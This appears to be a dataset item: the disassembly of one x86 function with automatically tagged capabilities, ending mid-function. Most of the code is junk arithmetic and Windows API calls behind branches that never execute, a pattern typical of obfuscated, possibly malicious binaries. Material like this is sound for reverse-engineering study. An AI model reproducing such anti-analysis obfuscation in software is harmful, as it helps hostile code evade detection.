Function at 0x428c3a
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
push esi
push edi
push 0
pop ebx
mov esi, ecx
mov dword [ebp - 0xc], 0xac64a684
push 1
mov byte [ebp - 0x35], dl
mov dword [ebp - 0x30], esi
mov dword [ebp - 0xc], 0xffffffe7
pop edi
jmp 0x428d02
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x20], 0x10a1434a
mov dword [ebp - 8], ebx
jmp 0x428c87
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xd0], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x428c7a
mov dword [ebp - 0x18], 9
jmp 0x428cf9
mov dword [ebp - 0x1c], 0x25ec560
xor ecx, ecx
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
test eax, eax
setns cl
xor eax, eax
cmp ecx, 0xffffffff
setl al
mov dword [ebp - 0xd0], eax
test eax, eax
jne 0x428ce4
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x428ce6
mov eax, edi
imul ecx, eax, 7
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x11
jne 0x428c95
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe9
jg 0x428c67
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x428d2d
push ebx
push 0x2145
push 0xb90
push 0x17f2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 8], 0xd9532bb1
push 3
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x428d50
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x428d3f
mov dword [ebp - 0x14], ebx
jmp 0x428d6b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x164], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x428d5a
imul eax, dword [ebp - 8], 0xfffd
test eax, eax
jne 0x428d83
mov eax, ebx
cmp dword [ebp - 8], ebx
je 0x428d85
mov eax, edi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x34], ebx
jne 0x428da8
mov eax, dword [ebp - 8]
xor ecx, ecx
cmp eax, edi
setge cl
cmp ecx, 0x8953
jge 0x428db2
mov eax, edi
cmp dword [ebp - 0x158], ebx
jne 0x428db4
mov eax, ebx
mov ecx, dword [ebp - 8]
sub ecx, eax
mov eax, dword [ebp - 0x10c]
neg ecx
push 3
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 8]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 8], ebx
pop ecx
jmp 0x428dfb
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x19c], 0xff0ea75c
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x428dea
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x428e0f
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x428e46
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x428e2c
push ebx
push ebx
call dword [sym.imp.GDI32.dll_RectInRegion]
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x428e41
push 0x457
push ebx
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
dec dword [ebp - 0x1c]
jns 0x428e1b
mov dword [ebp - 8], ebx
mov dword [ebp - 0x20], 0xbdfadf62
mov dword [ebp - 0x28], 0x5b8b78ac
mov dword [ebp - 0x2c], 0x96d402da
mov dword [ebp - 0x18], 0x6f79b347
mov dword [ebp - 8], ebx
jmp 0x428e74
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x54], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x428e6a
push 3
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 8], ebx
jmp 0x428f02
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x1c], 0x14a5ea96
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x2c], ebx
je 0x428ec8
mov eax, dword [ebp - 0x10]
mov ecx, edi
sub ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
sub eax, edx
cmp eax, edi
jg 0x428ec8
mov eax, dword [ebp - 0x54]
inc dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
sub eax, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, edi
setl cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffff4
jl 0x428e84
mov eax, dword [0x4925ec]
mov dword [ebp - 0x14], 8
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
mov dword [ebp - 0x34], eax
je 0x428f31
push ebx
push 0x178b
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x14], 0x13
jmp 0x428ffe
mov dword [ebp - 0xc], 0x5b4
mov dword [ebp - 8], 0x7c8b166c
mov dword [ebp - 0x2c], 0xfffffffd
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
add ecx, eax
cmp ecx, dword [ebp - 0x14]
jne 0x428fbd
mov dword [ebp - 0x10], ebx
jmp 0x428f93
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x184], 0xfff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x428f82
mov eax, dword [ebp - 8]
xor edx, edx
cmp eax, 0x1b76e1ee
mov eax, dword [ebp - 0xc]
setle dl
xor ecx, ecx
cmp eax, 0xd8d9
setge cl
add edx, ecx
mov dword [ebp - 0x17c], edx
jmp 0x428ffb
mov dword [ebp - 8], 0x18
jmp 0x428ff5
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x428fd6
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0xc], 0xffffffe4
jmp 0x428fec
imul eax, dword [ebp - 0x14], 0xffff
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xd
jne 0x428fdf
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x2f
je 0x428fc6
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
je 0x428f3d
mov ebx, dword [ebp + 8]
xor edx, edx
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov eax, dword [ebp - 0x34]
mov dword [ebx], edx
mov dword [ebx + 4], edx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], edx
cmp byte [ebp - 0x35], dl
je 0x42924d
xor ecx, ecx
inc ecx
cmp eax, ecx
jne 0x429250
mov dword [ebp - 0xc], edx
jmp 0x429048
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x74], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x42903a
mov dword [ebp - 0xc], edx
jmp 0x429064
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x120], 0x3245f1db
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x429053
mov dword [ebp - 0x70], 0xfffffff1
cmp dword [ebp - 0x70], 0x10
jge 0x4290cd
mov dword [ebp - 0x10], 0xd37ad43
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], edx
jl 0x4290ca
mov dword [ebp - 8], 0x7909b792
mov dword [ebp - 8], edx
jmp 0x4290b2
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x4290af
push edx
push edx
push 0xbe0
push 0x1b4d
push edx
call dword [sym.imp.USER32.dll_ModifyMenuW]
xor edx, edx
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jle 0x429091
dec dword [ebp - 0x10]
jns 0x429085
cmp dword [ebp - 0x10], edx
jne 0x4290ca
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x10
jl 0x429076
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], 0xf40fc027
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x9f81
push 4
mov dword [ebp - 0x20], 0xfffd
pop eax
mov dword [ebp - 0x10], edx
mov dword [ebx + 8], eax
cmp dword [ebp - 0x10], eax
jge 0x42911b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14c], 0xe769
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x429104
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor ecx, ecx
dec edx
jne 0x42913a
cmp dword [ebp - 8], ecx
jne 0x42913a
mov eax, ecx
inc edx
jmp 0x42913f
xor edx, edx
inc edx
mov eax, edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jne 0x42914c
cmp dword [ebp - 0x18], ecx
je 0x42914e
mov ecx, edx
mov eax, dword [ebp - 0x18]
add ecx, 0xfffffffd
xor edx, edx
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x18]
jle 0x429163
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
cmp ecx, dword [ebp - 0x2c]
jge 0x42919e
cmp dword [ebp - 0x10], edx
je 0x42919e
xor eax, eax
inc eax
jmp 0x4291a0
mov eax, edx
cmp eax, dword [ebp - 0xc]
jge 0x4291a8
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
neg eax
add eax, 0xb610a85b
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x140], edx
je 0x429222
cmp dword [ebp - 0x18], edx
je 0x429222
push 3
mov dword [ebp - 8], edx
pop ecx
jmp 0x4291f5
mov dword [ebp - 0x10], edx
jmp 0x4291e7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12c], 0x43de
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x4291d6
dec dword [ebp - 0x124]
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jle 0x4291d1
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429243
push edx
push 0x270e
push 0x1695
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
xor edx, edx
jmp 0x429243
push 3
mov dword [ebp - 8], edx
pop ecx
jmp 0x42923b
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1a8], 0x58e5
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x42922a
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov dword [ebx + 0xc], 0x4925ec
xor ecx, ecx
inc ecx
cmp esi, eax
jge 0x42a295
push 3
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x14], edx
pop ebx
jmp 0x429390
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], edx
jmp 0x4292c3
mov dword [ebp - 8], edx
jmp 0x429285
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x50], 0xe2c0d37a
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x429277
mov dword [ebp - 0x50], 0xffffffee
cmp dword [ebp - 0x50], 0xffffffeb
jge 0x4292c0
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x4292b4
push edx
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor edx, edx
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffeb
jl 0x429297
xor ecx, ecx
inc ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jg 0x429272
mov dword [ebp - 0x18], 7
jmp 0x429380
mov dword [ebp - 0xc], 0xfba1a4d6
mov dword [ebp - 0x2c], 0x7fc0549e
mov dword [ebp - 0xc], edx
jmp 0x429373
mov dword [ebp - 0x10], 0x1e9c96c7
mov dword [ebp - 8], edx
jmp 0x429308
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x190], 0x8373b2c5
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x4292f7
mov dword [ebp - 0x10], edx
jmp 0x42936a
mov dword [ebp - 8], edx
jmp 0x429325
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x7c], 0x2b441a62
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x429317
mov dword [ebp - 0x78], edx
jmp 0x429361
mov dword [ebp - 8], 0x1bf07968
mov dword [ebp - 8], edx
jmp 0x429358
mov dword [ebp - 0x2c], 0x3f9beab1
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429355
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jle 0x42933c
inc dword [ebp - 0x78]
cmp dword [ebp - 0x78], 2
jle 0x429330
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff9
jle 0x429312
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe8
jl 0x4292eb
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 6
jne 0x4292d5
inc dword [ebp - 0x14]
push 1
pop ecx
cmp dword [ebp - 0x14], ebx
jne 0x42926a
mov dword [ebp - 0x10], 0x76f5020f
mov ebx, 0x4925f0
mov dword [ebp - 0x3c], 0xfffffffe
xor ecx, ecx
mov dword [ebp - 0x28], 0x7c0c
inc ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], edx
jmp 0x4293cc
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x6c], 0xffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x4293be
mov dword [ebp - 0xc], edx
jmp 0x4293e3
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x13c], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x4293d6
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], edx
jl 0x429594
push 3
pop esi
mov ebx, 0xffff
or eax, 0xffffffff
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 8], 0x4ea33a4d
mov dword [ebp - 0x14], 0xcbedfa90
mov dword [ebp - 0x90], edx
jmp 0x4294b6
mov dword [ebp - 0xc], 0x2ee6d058
mov dword [ebp - 0x2c], 7
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429451
push edx
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor edx, edx
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], edx
jl 0x4294b0
mov dword [ebp - 0x20], 0x642e40c1
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x134], 0xcc4b
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0xc]
add edx, 0xcc4b
mov eax, dword [ebp + eax*4 - 0x6c]
cmp eax, edx
sete cl
cmp ebx, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 1
setl cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0xc]
neg eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0xc]
jns 0x429459
xor edx, edx
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], edx
jle 0x429431
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x4294e5
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
push 0
push 0x23d2
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
xor edx, edx
mov dword [ebp - 8], edx
cmp dword [ebp - 8], edx
jl 0x429580
mov dword [ebp - 0x24], 0x47d1
mov dword [ebp - 0x1c], 2
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c], edx
jne 0x42950c
cmp dword [ebp - 0x3c], edx
je 0x42950f
xor edx, edx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xcc16
setge al
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x24]
setl cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
sub eax, esi
cmp eax, 0xffffffff
jb 0x429540
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
push 0
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x14]
cmp ebx, eax
sbb eax, eax
xor edx, edx
neg eax
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
imul ecx, dword [ebp - 0x134]
mov dword [ebp - 0x90], ecx
dec dword [ebp - 8]
jns 0x4294f1
dec dword [ebp - 0x10]
jns 0x4293fd
mov esi, dword [ebp - 0x30]
xor ecx, ecx
mov ebx, 0x4925f0
inc ecx
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x4295a9
push edx
push ecx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
xor edx, edx
mov dword [ebp - 0x2c], edx
test esi, esi
jle 0x429aec
mov dword [ebp - 8], 0x2124f84b
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x10], edx
jmp 0x4295d8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x114], 0xa2a3b3f3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x4295c7
mov dword [ebp - 0x110], 0x997
xor edx, edx
mov eax, dword [ebp - 8]
cmp eax, 1
mov eax, dword [ebp - 8]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor esi, esi
mov dword [ebp - 0x10], ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], esi
jl 0x42964b
xor ebx, ebx
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], ebx
jl 0x42962e
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x429629
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
dec dword [ebp - 8]
jns 0x429617
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x42963e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
dec dword [ebp - 0x10]
push 1
pop ecx
jns 0x42960f
mov ebx, dword [ebp - 0x18]
xor esi, esi
mov edi, dword [ebx]
mov eax, 0xffff
mov dword [ebp - 0x14], 0xccb63e8e
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x24891023
mov dword [ebp - 8], 0xa9b8fa48
mov dword [ebp - 0x24], 0xfdda7840
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x10], esi
jmp 0x429687
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5c], 0xde0bcd8c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x429679
inc dword [ebp - 0x14]
mov edx, ecx
cmp dword [ebp - 0xc], esi
jne 0x429699
mov edx, esi
cmp dword [ebp - 0x58], esi
je 0x4296e9
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
imul eax, ecx, 0xfff6
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xc], eax
je 0x4296c0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov dword [ebp - 8], 2
cmp dword [ebp - 8], esi
je 0x4296d9
cmp dword [ebp - 0xc], esi
je 0x4296d9
xor eax, eax
inc eax
jmp 0x4296db
mov eax, esi
add eax, 0xd7380006
je 0x4296e9
xor esi, esi
inc esi
mov ecx, esi
jmp 0x4296ee
mov ecx, esi
xor esi, esi
inc esi
xor eax, eax
cmp edx, ecx
setle al
neg eax
je 0x429793
mov dword [ebp - 0x10], 0x4b58
xor edx, edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x82ade89b
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], edx
jmp 0x42972c
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xf8], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x42971f
cmp dword [ebp - 0x10], edx
jne 0x429746
mov eax, dword [ebp - 0x10]
mov ecx, edx
add eax, ecx
imul eax, dword [ebp - 0x24]
test eax, eax
je 0x429748
mov ecx, esi
mov eax, dword [ebp - 0x20]
sub ecx, eax
jne 0x429756
mov eax, edx
cmp dword [ebp - 0x58], edx
je 0x429758
mov eax, esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
je 0x429767
mov eax, esi
cmp dword [ebp - 0x5c], edx
jne 0x429769
mov eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jne 0x42977f
cmp dword [ebp - 0xf4], edx
je 0x429781
mov edx, esi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x24], ecx
jmp 0x42981e
push 2
pop edx
xor ecx, ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x10], ecx
jmp 0x4297b1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x100], 0xe88f3c25
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x4297a0
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x14
jle 0x429823
xor ebx, ebx
mov dword [ebp - 0x20], 0x189efa4e
cmp dword [ebp - 0x100], ebx
jne 0x4297f9
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, esi
mov eax, 0x9bb5f37d
setg cl
cmp eax, ecx
mov eax, dword [ebp - 8]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x3c]
mov ecx, ebx
je 0x4297fb
mov ecx, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x100]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x14
jg 0x4297c1
mov ebx, dword [ebp - 0x18]
xor ecx, ecx
mov esi, dword [ebx + 4]
xor edx, edx
mov dword [ebp - 0x10], 0x2b99
inc edx
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x24], 0xfd47030f
mov dword [ebp - 8], ecx
jmp 0x429851
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x44], 0x1713b910
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x429843
mov dword [ebp - 0x44], 0xffffffe7
cmp dword [ebp - 0x44], 0xffffffe6
je 0x42991a
push 3
pop edi
mov dword [ebp - 8], 0xfffffff8
mov dword [ebp - 0x24], 0xde6bc044
mov dword [ebp - 0x24], 0x71639956
mov dword [ebp - 0x3c], 0xffffffff
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
push 6
pop ecx
sub ecx, eax
add ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
push 0
pop eax
sets al
xor edx, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
add ecx, 0x40ca228b
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
add ecx, dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
cmp edi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffe6
jne 0x42986a
mov edi, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x28], 0xffffffff
add ebx, 8
mov byte [ebp - 1], cl
cmp byte [ebp - 1], 0
je 0x429935
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ecx, ecx
mov byte [ebp - 1], cl
cmp byte [ebp - 1], 0
je 0x42994b
push ecx
push ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor ecx, ecx
test esi, esi
jne 0x429952
add ebx, 8
mov dword [ebp - 0x14], 0x7e8b72fd
xor edx, edx
mov dword [ebp - 0x24], ecx
inc edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0xc], 0xfffb
mov dword [ebp - 8], ecx
jmp 0x42997b
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x40], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x429971
cmp dword [ebp - 0x14], ecx
jne 0x429998
mov eax, dword [ebp - 0x24]
mov esi, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
je 0x42999a
mov esi, edx
dec dword [ebp - 0xc]
xor edx, edx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
dec ecx
cmp ecx, eax
setl dl
add edx, esi
mov dword [ebp - 0x20], edx
je 0x429abf
mov dword [ebp - 0x10], 1
xor esi, esi
mov dword [ebp - 8], 6
mov dword [ebp - 0x1c], 0xd89188b9
mov dword [ebp - 0x28], 0xa07e09fa
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], esi
jl 0x429a7c
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
neg edx
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
neg edx
mov eax, dword [ebp + eax*4 - 0x40]
cmp edx, eax
mov eax, dword [ebp - 0x40]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x40]
cmp edx, eax
setne cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1c], esi
jne 0x429a37
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x40], esi
jne 0x429a37
mov ecx, esi
jmp 0x429a3a
xor ecx, ecx
